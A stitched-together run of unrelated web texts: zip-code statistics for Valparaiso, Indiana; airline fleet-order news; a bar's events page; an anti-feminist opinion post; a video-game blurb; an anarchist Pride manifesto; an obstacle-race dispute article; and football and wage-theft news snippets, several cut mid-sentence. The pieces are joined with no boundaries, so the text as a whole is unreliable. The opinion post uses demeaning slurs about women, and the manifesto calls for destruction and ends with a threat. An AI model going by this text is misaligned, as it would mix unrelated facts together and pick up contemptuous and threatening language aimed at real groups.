or coke (%) House heating fuel used in apartments - Wood (%) House heating fuel used in apartments - Solar energy (%) House heating fuel used in apartments - Other fuel (%) House heating fuel used in apartments - No fuel used (%) Armed forces status - In Armed Forces (%) Armed forces status - Civilian (%) Armed forces status - Civilian - Veteran (%) Armed forces status - Civilian - Nonveteran (%) Options Get link Loading data... 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Estimated median house/condo value in 2016: $200,893 46383: $200,893 Indiana: $134,800 $200,893
According to our research of Indiana and other state lists there were 31 registered sex offenders living in 46383 zip code as of February 27, 2019.
The ratio of number of residents in zip code 46383 to the number of sex offenders is 1,337 to 1.
The number of registered sex offenders compared to the number of residents in this zip code is smaller than the state average.
Median resident age: This zip code: 36.3 years Indiana median age: 37.6 years
Average household size: This zip code: 2.5 people Indiana: 2.5 people
Averages for the 2012 tax year for zip code 46383, filed in 2013:
Average Adjusted Gross Income (AGI) in 2012: $62,367 (Individual Income Tax Returns)
Here: $62,367 State: $52,932
Salary/wage: $54,761 (reported on 83.5% of returns)
Here: $54,761 State: $45,173 (% of AGI for various income ranges: 73.2% for AGIs below $25k, 76.8% for AGIs $25k-50k, 75.3% for AGIs $50k-75k, 77.7% for AGIs $75k-100k, 81.1% for AGIs $100k-200k, 51.9% for AGIs over 200k)
Taxable interest for individuals: $1,278 (reported on 35.0% of returns)
This zip code: $1,278 Indiana: $1,311 (% of AGI for various income ranges: 1.3% for AGIs below $25k, 0.8% for AGIs $25k-50k, 0.6% for AGIs $50k-75k, 0.5% for AGIs $75k-100k, 0.4% for AGIs $100k-200k, 1.2% for AGIs over 200k)
Ordinary dividends: $4,031 (reported on 22.9% of returns)
Here: $4,031 State: $4,690 (% of AGI for various income ranges: 2.0% for AGIs below $25k, 1.2% for AGIs $25k-50k, 1.1% for AGIs $50k-75k, 1.1% for AGIs $75k-100k, 1.1% for AGIs $100k-200k, 2.8% for AGIs over 200k)
Net capital gain/loss in AGI: +$7,399 (reported on 17.0% of returns)
Here: +$7,399 State: +$10,406 (% of AGI for various income ranges: 0.5% for AGIs $25k-50k, 0.5% for AGIs $50k-75k, 0.4% for AGIs $75k-100k, 0.9% for AGIs $100k-200k, 8.3% for AGIs over 200k)
Profit/loss from business: +$16,450 (reported on 12.3% of returns)
Here: +$16,450 State: +$11,105 (% of AGI for various income ranges: 5.6% for AGIs below $25k, 3.1% for AGIs $25k-50k, 2.7% for AGIs $50k-75k, 2.1% for AGIs $75k-100k, 2.5% for AGIs $100k-200k, 5.3% for AGIs over 200k)
Taxable individual retirement arrangement distribution: $17,208 (reported on 12.3% of returns)
46383: $17,208 Indiana: $13,841 (% of AGI for various income ranges: 4.1% for AGIs below $25k, 3.3% for AGIs $25k-50k, 3.3% for AGIs $50k-75k, 3.5% for AGIs $75k-100k, 3.1% for AGIs $100k-200k, 3.7% for AGIs over 200k)
Self-employment retirement plans: $16,885 (reported on 0.7% of returns)
46383: $16,885 Indiana: $21,482 (% of AGI for various income ranges: 0.1% for AGIs $50k-75k, 0.2% for AGIs $100k-200k, 0.6% for AGIs over 200k)
Total itemized deductions: $20,572 (18% of AGI, reported on 33.3% of returns)
Here: $20,572 State: $20,913
Here: 17.8% of AGI State: 18.2% of AGI (% of AGI for various income ranges: 8.3% for AGIs below $25k, 8.1% for AGIs $25k-50k, 10.4% for AGIs $50k-75k, 11.3% for AGIs $75k-100k, 12.2% for AGIs $100k-200k, 11.6% for AGIs over 200k)
Charity contributions: $3,969 (reported on 26.9% of returns)
Here: $3,969 State: $4,697 (% of AGI for various income ranges: 0.7% for AGIs below $25k, 1.1% for AGIs $25k-50k, 1.4% for AGIs $50k-75k, 1.6% for AGIs $75k-100k, 2.0% for AGIs $100k-200k, 2.2% for AGIs over 200k)
Taxes paid: $7,230 (reported on 33.3% of returns)
46383: $7,230 State: $7,456 (% of AGI for various income ranges: 1.4% for AGIs below $25k, 2.0% for AGIs $25k-50k, 2.9% for AGIs $50k-75k, 3.6% for AGIs $75k-100k, 4.7% for AGIs $100k-200k, 5.3% for AGIs over 200k)
Earned income credit: $2,006 (reported on 12.2% of returns)
Here: $2,006 State: $2,265 (% of AGI for various income ranges: 4.8% for AGIs below $25k, 0.7% for AGIs $25k-50k)
Percentage of individuals using paid preparers for their 2012 taxes: 50.4%
Here: 50% State: 53% (% for various income ranges: 42.3% for AGIs below $25k, 47.8% for AGIs $25k-50k, 55.2% for AGIs $50k-75k, 56.7% for AGIs $75k-100k, 57.9% for AGIs $100k-200k, 78.2% for AGIs over 200k)
Averages for the 2004 tax year for zip code 46383, filed in 2005:
Average Adjusted Gross Income (AGI) in 2004: $53,809 (Individual Income Tax Returns)
Here: $53,809 State: $44,790
Salary/wage: $47,336 (reported on 84.7% of returns)
Here: $47,336 State: $39,615 (% of AGI for various income ranges: 129.5% for AGIs below $10k, 73.1% for AGIs $10k-25k, 77.7% for AGIs $25k-50k, 81.6% for AGIs $50k-75k, 84.1% for AGIs $75k-100k, 65.2% for AGIs over 100k)
Taxable interest for individuals: $1,699 (reported on 52.8% of returns)
This zip code: $1,699 Indiana: $1,535 (% of AGI for various income ranges: 9.8% for AGIs below $10k, 2.7% for AGIs $10k-25k, 1.8% for AGIs $25k-50k, 1.3% for AGIs $50k-75k, 0.9% for AGIs $75k-100k, 1.7% for AGIs over 100k)
Taxable dividends: $2,538 (reported on 28.3% of returns)
Here: $2,538 State: $2,998 (% of AGI for various income ranges: 6.1% for AGIs below $10k, 2.0% for AGIs $10k-25k, 1.2% for AGIs $25k-50k, 1.1% for AGIs $50k-75k, 0.7% for AGIs $75k-100k, 1.5% for AGIs over 100k)
Net capital gain/loss: +$10,074 (reported on 20.7% of returns)
Here: +$10,074 State: +$8,619 (% of AGI for various income ranges: 5.4% for AGIs below $10k, 0.5% for AGIs $10k-25k, 0.6% for AGIs $25k-50k, 0.5% for AGIs $50k-75k, 1.1% for AGIs $75k-100k, 7.9% for AGIs over 100k)
Profit/loss from business: +$15,794 (reported on 13.4% of returns)
Here: +$15,794 State: +$10,071 (% of AGI for various income ranges: 5.7% for AGIs below $10k, 3.8% for AGIs $10k-25k, 3.3% for AGIs $25k-50k, 2.8% for AGIs $50k-75k, 2.8% for AGIs $75k-100k, 5.1% for AGIs over 100k)
IRA payment deduction: $3,189 (reported on 3.0% of returns)
46383: $3,189 Indiana: $2,840 (% of AGI for various income ranges: 0.4% for AGIs below $10k, 0.2% for AGIs $10k-25k, 0.3% for AGIs $25k-50k, 0.2% for AGIs $50k-75k, 0.2% for AGIs $75k-100k, 0.1% for AGIs over 100k)
Self-employed pension: $16,349 (reported on 1.1% of returns)
Here: $16,349 Indiana: $15,305 (% of AGI for various income ranges: 0.1% for AGIs $25k-50k, 0.0% for AGIs $50k-75k, 0.1% for AGIs $75k-100k, 0.7% for AGIs over 100k)
Total itemized deductions: $17,914 (18% of AGI, reported on 37.0% of returns)
Here: $17,914 State: $17,065
Here: 18.4% of AGI State: 19.5% of AGI (% of AGI for various income ranges: 18.2% for AGIs below $10k, 9.2% for AGIs $10k-25k, 11.0% for AGIs $25k-50k, 13.1% for AGIs $50k-75k, 13.6% for AGIs $75k-100k, 12.2% for AGIs over 100k)
Charity contributions deductions: $3,547 (3% of AGI, reported on 32.4% of returns)
Here: $3,547 State: $3,550
Here: 3.5% of AGI State: 3.8% of AGI (% of AGI for various income ranges: 0.9% for AGIs below $10k, 0.9% for AGIs $10k-25k, 1.6% for AGIs $25k-50k, 1.9% for AGIs $50k-75k, 2.0% for AGIs $75k-100k, 2.7% for AGIs over 100k)
Total tax: $8,935 (reported on 78.5% of returns)
46383: $8,935 State: $6,914 (% of AGI for various income ranges: 3.7% for AGIs below $10k, 4.4% for AGIs $10k-25k, 7.5% for AGIs $25k-50k, 9.3% for AGIs $50k-75k, 10.7% for AGIs $75k-100k, 18.8% for AGIs over 100k)
Earned income credit: $1,477 (reported on 9.4% of returns)
Here: $1,477 State: $1,685
Percentage of individuals using paid preparers for their 2004 taxes: 53.5%
Here: 54% State: 59% (% for various income ranges: 43.7% for AGIs below $10k, 52.7% for AGIs $10k-25k, 54.5% for AGIs $25k-50k, 56.8% for AGIs $50k-75k, 56.4% for AGIs $75k-100k, 63.1% for AGIs over 100k)
Estimated median household income in 2016: This zip code: $60,589 Indiana: $52,314
Percentage of family households: This zip code: 48.2% Indiana: 48.9%
Percentage of households with unmarried partners: This zip code: 5.5% Indiana: 6.6%
Lesbian couples: 0.0% of all households
0.0% Gay men: 0.2% of all households
$1,794 (0.9%)$1,761 (0.9%)31,17810,273
Household received Food Stamps/SNAP in the past 12 months: 1,143
Household did not receive Food Stamps/SNAP in the past 12 months: 14,290
Women who had a birth in the past 12 months: 365 (221 now married, 144 unmarried)
Women who did not have a birth in the past 12 months: 9,701 (3,718 now married, 5,999 unmarried)
This zip code: 12.7% Whole state: 14.1%
This zip code: 3.7% Whole state: 7.7%
Median number of rooms in houses and condos: Here: 6.6 State: 6.5
Median number of rooms in apartments: Here: 4.0 State: 4.4
Year house built 314 Built 2014 or later
Built 2014 or later 248 Built 2010 to 2013
Built 2010 to 2013 2,246 Built 2000 to 2009
Built 2000 to 2009 3,065 Built 1990 to 1999
Built 1990 to 1999 1,915 Built 1980 to 1989
Built 1980 to 1989 3,118 Built 1970 to 1979
Built 1970 to 1979 1,627 Built 1960 to 1969
Built 1960 to 1969 1,298 Built 1950 to 1959
Built 1950 to 1959 807 Built 1940 to 1949
Built 1940 to 1949 2,205 Built 1939 or earlier Note: State values scaled to 46383 population
Owner-occupied Renter-occupied Bedrooms in owner-occupied houses and condos in Valparaiso, IN (46383) 7 no bedroom
54 1 bedroom
1,667 2 bedrooms
5,328 3 bedrooms
2,544 4 bedrooms
597 5+ bedrooms Note: State values scaled to Zip code 46383 population Bedrooms in renter-occupied apartments in Valparaiso, IN (46383) 244 no bedroom
1,518 1 bedroom
2,453 2 bedrooms
724 3 bedrooms
165 4 bedrooms
63 5+ bedrooms Note: State values scaled to Zip code 46383 population
Owner-occupied Renter-occupied Cars and other vehicles available in Valparaiso, IN (46383) in owner-occupied houses/condos 127 no vehicle
2,501 1 vehicle
5,034 2 vehicles
1,782 3 vehicles
466 4 vehicles
280 5+ vehicles Note: State values scaled to Zip code 46383 population Cars and other vehicles available in Valparaiso, IN (46383) in renter-occupied apartments 718 no vehicle
2,456 1 vehicle
1,496 2 vehicles
410 3 vehicles
52 4 vehicles
66 5+ vehicles Note: State values scaled to Zip code 46383 population
Zip code 46383 household income distribution in 2016
1,184 Less than $10,000
Less than $10,000 540 $10,000 to $14,999
$10,000 to $14,999 553 $15,000 to $19,999
$15,000 to $19,999 678 $20,000 to $24,999
$20,000 to $24,999 508 $25,000 to $29,999
$25,000 to $29,999 722 $30,000 to $34,999
$30,000 to $34,999 814 $35,000 to $39,999
$35,000 to $39,999 918 $40,000 to $44,999
$40,000 to $44,999 553 $45,000 to $49,999
$45,000 to $49,999 1,223 $50,000 to $59,999
$50,000 to $59,999 1,561 $60,000 to $74,999
$60,000 to $74,999 1,967 $75,000 to $99,999
$75,000 to $99,999 1,705 $100,000 to $124,999
$100,000 to $124,999 853 $125,000 to $149,999
$125,000 to $149,999 862 $150,000 to $199,999
$150,000 to $199,999 757 $200,000 or more
Estimate of home value of owner-occupied houses/condos in 2016 in zip code 46383
165 Less than $10,000
Less than $10,000 19 $10,000 to $14,999
$10,000 to $14,999 62 $15,000 to $19,999
$15,000 to $19,999 19 $20,000 to $24,999
$20,000 to $24,999 15 $25,000 to $29,999
$25,000 to $29,999 6 $30,000 to $34,999
$30,000 to $34,999 86 $35,000 to $39,999
$35,000 to $39,999 28 $50,000 to $59,999
$50,000 to $59,999 113 $60,000 to $69,999
$60,000 to $69,999 43 $70,000 to $79,999
$70,000 to $79,999 211 $80,000 to $89 |
March 8, 2012. AeroMexico has purchased seven of the Dreamliner, which are expected to be delivered in the next three years. REUTERS/Edgard Garrido
The order is for 90 737 MAX 8 planes and 10 787-9 Dreamliners, Aeromexico (AEROMEX.MX) said in a statement that did not provide specifics on financing arrangements.
The deal could allow Aeromexico to overhaul its existing fleet of 110 aircraft over the next decade, a trend among carriers worldwide as they seek to reduce fuel bills.
Airlines need to place orders far in advance in the expectation that it will put them in a better position to face eventual increased demand.
“This is an important order for Aeromexico’s expansion plans in the next few years, although at first glance it seems very aggressive,” said Vector Casa de Bolsa analyst Marco Montanez.
“This will definitely help them roll out new routes and take advantage of operating efficiencies - fuel and maintenance savings - over the medium and longer term,” he added.
Aeromexico, which went public last year, said the Dreamliners will begin arriving in the summer of 2013 and the 737 MAX 8 aircraft will be delivered starting in 2018.
“Over the mid-term, we want to own half of our fleet and lease the other half. Down the road we could reach 70 percent of company-owned fleet to have a more solid balance sheet,” Jose Luis Barraza, head of Aeromexico’s board, told Reuters.
The decision to buy was based mainly on bets Mexico’s economy will remain robust in coming years, Aeromexico’s Chief Executive Andres Conesa told a news conference in Mexico City.
The company will make its first pre-delivery payment of $40 million before the end of the year, when it expects to sign the purchase agreement. Aeromexico can easily finance that with its cash position, Conesa said on an earlier call with analysts. The next important payment will be in 2015, he added.
The company will have time to evaluate financing options for the later payment, Vector’s Montanez said, adding it could consider cash or debt or a mix of the two.
The latest order comes on top of a 20-aircraft package that Aeromexico announced last year, for 10 Embraer (EMBR3.SA) jets and 10 Boeing 737-8 NG.
Delta Air Lines (DAL.N) in June bought a 4 percent stake in Aeromexico for $65 million. The Aeromexico spokesman did not say whether the U.S. airline would contribute toward payment for the order. A Delta spokesman declined to comment.
Aeromexico increased its market share after rival Mexicana ceased operations before filing for bankruptcy in 2010.
The Mexican airline’s shares dropped 0.3 percent to 21.6 pesos shortly before the closing bell.
FUEL SAVINGS
Boeing, which posted better-than-expected results on Wednesday, is on track to overtake rival Airbus EAD.PA in plane deliveries this year.
Boeing is in the midst of booking orders for the revamped 737 as it catches up with the latest version of Airbus’ A320, which produced great demand and redrew the battle lines between the world’s top planemakers last year.
Both aircraft achieve fuel savings of around 15 percent due to new engines and other enhancements.
Raymond Conner, the recently appointed head of Boeing’s commercial division, said winning the deal had not been easy.
“We faced very stiff competition... yes, we competed with Airbus,” he told Reuters.
General Electric (GE.N), which competes with Rolls-Royce (RR.L) to power the 787, said it had won a deal worth $400 million to provide the engines for the 10 Dreamliners.
A joint venture between GE and France’s Safran (SAF.PA) is the sole engine supplier for the 737.
Mexico City-based Aeromexico, which operates some 600 flights a day, on Tuesday said revenue during the second quarter rose 15 percent to 9.9 billion pesos from 8.6 billion pesos in the same period last year.
The firm’s profit dropped 73 percent to 152.9 million pesos from 583.5 million pesos in the year-earlier period because of a pickup in expenses and financing costs.About The Trap
The Mousetrap is one of Indy’s oldest north side watering holes. Since 1957 we’ve been slinging strong drinks and serving up great food. In the early 70’s we began serving our famous beef stew and the same people come back time after time for another super hot helping.
In recent years we?ve added lots of TVs (20+), a 140″ Hi-def big screen, new windows, carpet and an overall make-over. The stew was brought back to it’s original recipe and the rest of the menu was revamped.
We now offer Huge Hot Wings, Hand Patted Burgers, Fresh Breaded Tenderloins, Pizza and a *Healthy Menu* as well as homemade daily specials such as Kanda’s Famous Meatloaf or Chicken Salad and our Homemade Soups.
With 4 pool tables, a pingpong table, video games, dart boards and dozens of board games, there is always something to do.
Most importantly, we brought in live original music. Concentrating on jam bands, we have played host to numerous up and coming bands from around the country, as well as many that are already very well established.
This place has a vibe and soul that’s electric. Bands can’t wait to come back and there are always more fans to greet them at their next show.
**Sundays- Enjoy a Bloody Mary w/ some Bluegrass. At 8pm, Flatland Harmony Experiment hosts an open session of kick-ass Bluegrass. In warm weather, we even jam out on the deck as we grill out. Yes, Sunday Funday indeed. Bring your instrument or voice and join in (no drums please).
**Mondays- At 7pm Indy’s Live Trivia hosts a musically inclined live trivia game for teams or individuals w/ cash payouts! Bring your friends in to see how much useless info is stored up in that melon. Then, at 10pm Red Rug Comedy hosts an open stage for some very good young local comedians.
**Tuesdays- Euchre Tourney At 7pm and – Bourbon For The Brain – Jazz For The Soul at 9pm – Rob Dixon heads up an all-star cast of Indy’s best musicians for a raucous night of Jazz, Soul and Rye. And we taste some great bourbons and whiskeys, with a new feature weekly.
** Wednesdays- at 9pm Adam Catron of The Twin Cats, Max Allen of MAB and Mikial Robertson(among others) host a Family Jam featuring some of the most accomplished musicians in the city in a freestyle format.
**Thursdays – INDY MOJO/ G9 Collective present Altered Thurzdaze!.. electronic, dubstep, broken beats, etc. from all over the country. We literally have to tighten all the light bulbs in the house before each show.
** And, of course, every Friday and Saturday we have the best Jam Bands around putting on the best live shows in the city!
The word is out! Come see for yourself.
Photography courtesy of C-Style Photography.
This Week At The Mousetrap:
– The Mousetrap on Facebook
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On Tap
This Week At The Mousetrap
Jazz and Soul stage featuring Rob Dixon of Rob Dixon and Trilogy, Steven Jones, and Richard “Sleepy” Floyd of Premium Blend
IndyMojo Presents on Facebook
Friday : Friday Night KARAOKE at The Mousetrap
– EVERY Sunday – feat members of Flatland Harmony Experiment – everyone is welcome to sit inOnce upon a time, feminism was about achieving equality between the sexes. Suffragettes fought to give women the right to vote, to be educated, to work outside the home. They didn’t hate men, encourage killing children, or praise sluthood. Of course, that’s exactly what modern feminists do. And feminism has been slowly dying as a movement, little by little, as a result. It started with women like Gloria “a woman needs a man like a fish needs a bicycle” Steinem and Germaine Greer (pictured), and has been continued by the new wave of feminazis, women like Jessica Valenti, Jill Filipovic, Amanda Marcotte, and Melissa McEwan.
Women are told now that their choices are unacceptable if not approved by the feminazis — such as being a stay-at-home mother, for example — because we surely could not possibly understand what we’re giving up by not having a career. Likewise, a pro-life woman couldn’t possibly be a feminist, because abortion = all real women care about. Rather than being a movement with different ideals, opinions, principles, and values working towards one goal — equality for women — it’s become a fascist oligarchy, where followers are required to walk in lockstep, never daring to think differently than the leaders of the movement.
And so they shouldn’t really be surprised when they find out that modern women are rejecting feminism.
Just one in seven women describes herself as a ‘feminist’, it found, with younger women even less likely to describe themselves as such.
A third view traditional radical feminism as ‘too aggressive’ towards men, while a quarter no longer view it as a positive label. One in five describe it as ‘old-fashioned’ and simply ‘not relevant’ to their generation. … ‘Modern women feel traditional feminism is no longer working for them, as it’s aggressive, divisive and doesn’t take into account their personal circumstances.
‘They simply don’t view men as “the enemy”. And it’s clear there is no longer a “battle of the sexes” but a coming together of the sexes to make society work for everyone in it.’ … One in six said feminism had gone too far, ‘losing sight of the natural roles of men and women’. Instead of fighting for equality, two in five now want to ‘celebrate difference’ instead. … The majority of the 1,300 polled felt feminism should be about ensuring women have ‘real choice over their family, career and lives’, and to reinstate the value of motherhood.
If today’s feminism was actually about equality, and not about dominance over men, abortion, and skankhood as empowerment, then more women would identify with it. Women also don’t much appreciate being scolded for their choices, whether it be voting Republican, identifying as pro-life, or choosing to be a stay-at-home wife and mother.
A perfect example of why feminism is dying is here:
I think the following two premises are uncontroversial in feminist circles: 1. All men are beneficiaries of the patriarchy.
2. Feminism seeks the end of patriarchy. If one accepts these two premises, then the conclusion is inevitable: men cannot be feminists. And I think that in most other areas of life, a similar conclusion would be equally uncontroversial. We would call foul on a CEO who would call himself a communist or who would ask to join an Occupy movement, or a white man trying to join the Black Panthers, or of a Young Earth Creationist joining the National Academy of Sciences. And yet, men can pass (pun not intended) as feminists without even a second look. This is bizarre, to say the least. … Feminism 101 has a further take on the issue: [M]ost of the men I’ve personally known who have made a huge hairy point of identifying as feminists have been either date rapists, mom fetishists, porn addicts, or bear daddies inflicting their frustrated pseudopaternal tendencies on women. They are some of the most passive-aggressive, patronizing, out-dishing without it-taking twerps on the planet, and they are poisoning the women’s movement from the inside by sapping the hell out of everyone’s goddamn energy. A man calling himself a “feminist” is a perfect cover story for rapists and abusers. I mean, think about it: what better way is there for a man to elicit trust in women than to sympathize with their struggle?
Get that? Not only can men not advocate for equality between the sexes, but if he does, he’s probably a rapist, too. (This same author called one of the commenters autistic as an insult for disagreeing with the post.)
Again: and you wonder why women absolutely refuse to call themselves feminists these days.includes access to all five episodes in this all-new season from the award-winning studio, Telltale Games.In this latest chapter from the award-winning studio behind, both Bruce Wayne and Batman will be forced into precarious new roles. The Riddler has returned to terrorize Gotham City, but his gruesome puzzles merely foreshadow an even greater crisis. With the arrival of a ruthless federal agent and the return of a still nascent Joker, Batman must navigate uneasy alliances while Bruce Wayne undertakes a perilous series of deceptions. Which of Batman’s new allies will you choose to trust? And how deep into the darkness will you let Bruce descend?
Software Code © 2017 Telltale, Inc. All other elements ©2017 DC Comics. BATMAN and all related characters, their distinctive likenesses, and related elements are the property of DC Comics.™ & © 2017. Telltale, Telltale Games, Crowdplay, the Crowd Play logo and the Telltale logo are trademarks and/or registered trademarks of Telltale, Inc. All rights reserved.Angry Queers Drop Banner at Pride by bad bitches
Sunday Jun 24th, 2012 4:51 PM
Angry Queers Drop Banner at Pride.
Once again, the corporate nonsense that San Francisco calls "Gay Pride" has come and gone. Once again the assimilation project attempted to sedate the masses of queers into believing that through their common love of gay cops, of "queer" themed floats sponsored by banks and all the absurdly rainbow themed merchandise that they have some sort of community.
And once again some angry queer kids would have nothing to do with that and wanted to make some noise- or an appearence rather. They dropped two banners that said "Capitalism is Fucking the Queer out of US" and "Assimilation = Death" from a building in the heart of downtown while the massive parade glided by. The group was briefly detained by the police but no one got arrested, haha. When everyone came down the cops, shocked, asked " Why are there so many Women?" Fucking idiots. Later the angry queers shouted "were here were queer fuck the police" and "cops bash queers" at the SFPD as their gay cop brigade marched by.
They also distributed the fallowing text:
We walk down the streets of San Francisco past the rainbow saturated businesses with that flag that supposedly represents us flying high. We are on our way to see a trick, our friends on their way to pick up hormones, on their way to stay at a “trans and lgbtq youth friendly” shelter. We are told that here, things are different and in our bones we certainly know that they can be- but only if you have money.
Soap shops with rainbows, bars with “gay” themed drinks, clothes shops with “local” queer designed 70 dollars tee shirts.
Upper class “lgbt” culture. There are billboards with drinks alluding to the type of sex we might have, there is so much industry surrounding “being queer” it’s hard to keep up with what market has been penetrated last.
Apparently, this is mecca. How empty it is.
Capitalization of queer culture is in the wake of the anxieties of rich queers to assimilate into straight, bourgeois society. The only celebrated culture of queer then, is that of the capitalist queer.
Once a position goes to market and is adapted as a marketable social phenomenon, it automatically loses all of its teeth and is no longer a threat.
This is what happens when rich queers continue to assimilate- believing that if they too can marry, have a business and express romance in public that then they will be “free” of the subjugation of straight society- by becoming just like them.
Assimilation is queers and all other members of the not-straight society- attempting to emulate heteronormative relationship structures which are vital to the reproduction of capitalist society. Assimilation is death as all of capital is a total dispossession of all that harbors something like living.
As we find refuge in our small networks of solidarity it is in spite of the agonizing alienation we feel on a daily basis in this society. The extent of our existent within this world as queers has nothing to do with the marketability of our lifestyles and sex lives but is due to our exploitation. We hear of another friend beat up, murdered, things we hear from our queer community that reaches our ears through the grape vine that consists of panic and crawling skin.
We are constantly forced to submit to the whims of whoever
we can get resources from- whether it be a sugar daddy, non-profits, the bourgeoisie who open their hearts to us for a moment- we have learned how to hold our tongues, we have examined the ways that we are spoken to like insolent fuck ups by older, richer queers who, even with their stares seem to be saying “ Don’t you know 6hings get better- so get with the fucking program kid.”
There are campaigns totally devoted to saving us- well-meaning college queers helping “homeless queer youth” get back on the right path. There is so much sympathy, pity and disdainful romanticization to go around it has become a market. This is our exposure- as the problems of the queer community or as the privately exploited. Beyond that we are petty annoyances or otherwise invisible. Aren't we happy that we have so much exposure now?
Capitalist queers don't see that in life under capital things cannot be better for some of us and never will be. Clearly there is a divide between the queers who have and the queers who have not.
To us they are not even queer- they too are our enemies.
What we are calling for is the total destruction of straight culture- the culture of capital and all the bourgeoisie queers who lap it up so pathetically.
We don't want the dancing, the fucking, the partying to stop- lord knows we love a good dance party- but we want the dancing and partying and fucking and loving and bonding to be a top the grave of straight society, of the society that silences us.
What is destructive to straight society- we know can never be commodified and purged of rebellion. So we maintain our stance- as fierce fags, queers, dykes and trans girls and bois and gender queers and all the combination and in be tweens and those that negate it all at the same time.
We bid our time, striking here and there and fantasize of a world where all of the exploited of the world can come together and attack. We want to find you, comrade, if this too is what you want.
For the total destruction of Capital,
bad bitches who will fuck your shit up.By
Much has been written about the third annual OCR World Championships held last weekend at the Blue Mountain Resort in Ontario, Canada. The International Obstacle Racing Federation also chose last weekend to host its annual conference at the same location. Its president Ian Adamson wanted to take part in the race, and this has led to some friction between Ian and OCRWC CEO Adrian Bijanada. I spoke to both of them today to sort out what happened.
First, a little background about Ian and the IORF. Established in 2014 to promote obstacle racing, the IORF describes itself as the world governing body of OCR. Equivalents in other sports might be the IAAF for track/athletics or the ITU for triathlon. It is no secret that the IORF was originally the idea of Spartan Race founder Joe De Sena, but the IORF has officially established its independence from Spartan in order to work with the IOC to try to get OCR into the Olympic Games.
Meanwhile, also in 2014, Adrian Bijanada founded the OCRWC. Part of the event’s origin involved the desire to sell OCR-appropriate gear, but it has blossomed into an annual event that attracts athletes from around the globe to what has been perceived as a well-organized professional end-of-season event that brings together talent from many different race series as well as obstacles from those events. In addition to elite races, the OCRWC features races for age groupers and those of us who will never set foot on a podium, as well as a charity event on the last day.
While the IORF congress and the OCRWC happened on the same weekend at the same venue, they were not organized together, and the two groups keep a safe distance. Ian and Adrian had discussed the possibility of Ian racing the course, but nothing was ever finalized. Ian explained to me that in the days leading up to the race he tried to reach Adrian, who was understandably busy, and at the event Ian talked to people from 365, the company that produced the event about jumping in. He climbed over a fence and joined in one of the waves of racers. Later on, he raced the course again with a team, having registered in advance for the team event.
A few days later, in a closed group on Facebook, Ian joined in a comment thread discussing fairness to athletes on the course. Very rarely does a story that starts with someone joining a Facebook comment thread end well. All the same, since part of IORF’s mission is to promote safety and fairness for the athletes at races, Ian chimed in with his input regarding fairness, and he mentioned that he had completed the course in an admirably fast 1:55. Another enterprising commenter noted that his time did not appear in the published race results, at which point Ian mentioned that he didn’t have a bib or a timing chip for the event. From there, things spiralled downwards, leaving many with the impression that could be expressed as “IORF official bandits OCRWC race”.
Running a race as a bandit is a phenomenon that drives race organizers crazy. For those unfamiliar with the term, running as a bandit means taking part in an event without paying an entry fee and without the permission of the organizers. People run as bandits at events because they can’t get into a race, can’t qualify, or don’t want to pay an entry fee. While it may seem like a victimless crime to some, it is not only unfair to racers who did qualify and pay to enter, it puts race organizers at risk. A bandit racer who collapses on the course has not signed a waiver and has not provided the organizers with any emergency contact information. It is also a theft of services. It is a bad thing to do. That said, not everyone who enters a race pays an entry fee. Racers are comped for a variety of reasons, but even then, the protocol still requires those racers to register, sign a waiver, and wear a bib like everyone else in the race.
So why did Ian, who is an experienced adventure racer, simply jump into the race without a bib? He explained to me that he wanted to evaluate the course, “and the only way to do that was to get my feet dirty, to talk to the volunteers and the race officials.”. He told me that when officials from international federations host their counterparts from other sports at championships, officials get what are essentially all-access VIP passes, and it would not be uncommon for a federation official to compete alongside the age groupers. Since this behavior was common at other international championships, he did not think what he was doing would be a problem. In retrospect, he told me, it was an oversight on his part. He explained that he was thinking like an international race official, and not from the perspective of an athlete. His goal was to do something for the health of the sport, but his execution was faulty.
Meanwhile, Adrian found himself in an awkward position. The highest priority of any race director is the safety of the participants, and the head of the international federation had just admitted to committing a fundamental breach of safety protocol. Today he told me “While I understand that the IORF is trying to position itself as a governing body, having an official illegally enter a race is unacceptable regardless of that individual’s intentions. Individuals need to understand that they put themselves at risk as well as others.” Everyone needs to register to race, “otherwise we have no idea who is on the course, and should an individual needed medical attention, or if someone falls down a ravine, we do not know that they are there. While I admire his intentions, this may not have been the best course of action.” Adrian also explained to me that race officials compare the numbers of everyone who crosses the start line and the finish line to make sure that no one has been left out on the course. Given how rigorous the terrain is at many obstacle course races, this is a smart safety routine.
What are the consequences of Ian jumping into the race without a bib? Adrian told me: “I prefer not to address race violations publicly, but we do want to note that Mr. Adamson did violate the rules by effectively banditing the race and entering the race without permission. We have informed him that we have prohibited him from participating in the 2017 events.”
Adrian wrote us close to press time to add “I truly respect Ian and admire his desire to drive OCR forward. However, it’s important that our organization take a consistent approach in addressing infractions regardless of who commits them”.
Ian has apologized, and there are plenty of lessons to be learned. For starters, never bandit a race. Also, if you break the rules, don’t mention it on Facebook, even in the comments, even in a closed group, even if you didn’t think you were breaking the rules at the time. Finally, there are plenty of people who care about this sport and want to make sure it is safe for everyone. Let’s encourage that kind of concern.
Update 10:05am EST Jesse Fulton, president of 365 Sports and partner for this year’s OCRWC championship sent us an email which reads:Wayne Rooney was pictured out into the early hours of Sunday morning last week while drinking with guests at a wedding just 24 hours after England had beaten Scotland. And this week critics have condemned the Manchester United and England captain for his antics while on duty with his country. Gareth Southgate had given his players the night off but Ferdinand believes Rooney took it a step too far.
GETTY Wayne Rooney called the criticism this week as disgraceful
GETTY Rio Ferdinand said Cristiano Ronaldo is the perfect professional
"If you look at the elite players like Ronaldo, Messi, Neymar and Bale etc," Ferdinand told BT Sport. "The difference with those players and Wayne and the mistake that he made is publicly doing it. "You wouldn't see those players out until five in the morning absolutely off their head.
GETTY Rio Ferdinand believes Rooney made a mistake by going out in public
"That's because either they're protecting themselves and doing it a different way or they're completely football first and that governs their life." Rooney came on as a substitute in United's 1-1 draw with Arsenal yesterday and after the game he was asked what he had made of the widespread reaction to his boozy night out. But the 31-year-old slammed the coverage of his incident and wants to put it behind him.
Wayne Rooney in Manchester United training ahead of Arsenal clash Fri, November 18, 2016 Manchester United captain enjoys himself in training despite concerns the 31-year-old could miss Saturday's Premier League clash with Arsenal through injury Play slideshow Getty Images 1 of 10 Express Sport brings you the best pictures as Manchester United train ahead of Saturday's clash with Arsenal (12.30pm)A Sydney fast-food outlet allegedly fabricated employment records and underpaid 11 Korean workers more than $108,000.
Jae Kwang Kim, who owns and runs six Little Vienna outlets in the Sydney CBD, is facing the Federal Circuit Court in Sydney.
A Sydney sandwich outlet faces court for underpaying workers. Credit:Eddie Jim
